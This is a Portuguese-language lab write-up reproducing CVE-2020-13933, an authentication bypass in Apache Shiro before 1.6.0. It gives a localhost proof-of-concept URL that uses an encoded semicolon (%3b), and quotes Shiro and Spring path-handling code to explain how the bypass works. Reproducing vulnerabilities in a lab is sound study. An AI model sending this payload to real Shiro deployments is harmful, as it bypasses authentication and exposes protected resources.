Laboratório CVE-2020-13933

shiro < 1.6.0 vulnerabilidade de bypass de autenticação

PoC

http://127.0.0.1:8080/res/%3bpoc

Ambiente do laboratório

Descrição do código

• ShiroConfig.java：
  　　Configuração de permissões: quando é feita uma requisição ao recurso /res/*, ocorre um redirecionamento 302 para a página de login para autenticação
• NameController.java：
  　　· /res/{name}: faz a requisição do recurso chamado name (aciona a autenticação)
  　　· /res/: não faz requisição de nenhum recurso (não aciona a autenticação)

Validação do laboratório

Quando nenhum nome de recurso é especificado na rota da requisição, a autenticação não é acionada e nenhum recurso é retornado: http://127.0.0.1:8080/res/

Quando um nome de recurso é especificado na rota da requisição, ocorre um redirecionamento 302 para a página de autenticação: http://127.0.0.1:8080/res/poc

Ao construir uma requisição PoC específica que especifica o recurso, a autenticação não é acionada e o recurso é retornado: http://127.0.0.1:8080/res/%3bpoc (%3b é a codificação URL de ;)

Local de DEBUG da vulnerabilidade

shiro-web-1.5.3.jar

// org.apache.shiro.web.util.WebUtils.java
// line 111

public static String getPathWithinApplication(HttpServletRequest request) {
    return normalize(removeSemicolon(getServletPath(request) + getPathInfo(request)));
}

spring-web-5.2.5.RELEASE.jar

// org.springframework.web.util.UrlPathHelper.java
// line 459

private String decodeAndCleanUriString(HttpServletRequest request, String uri) {
    uri = removeSemicolonContent(uri);
    uri = decodeRequestString(request, uri);
    uri = getSanitizedPath(uri);
    return uri;
}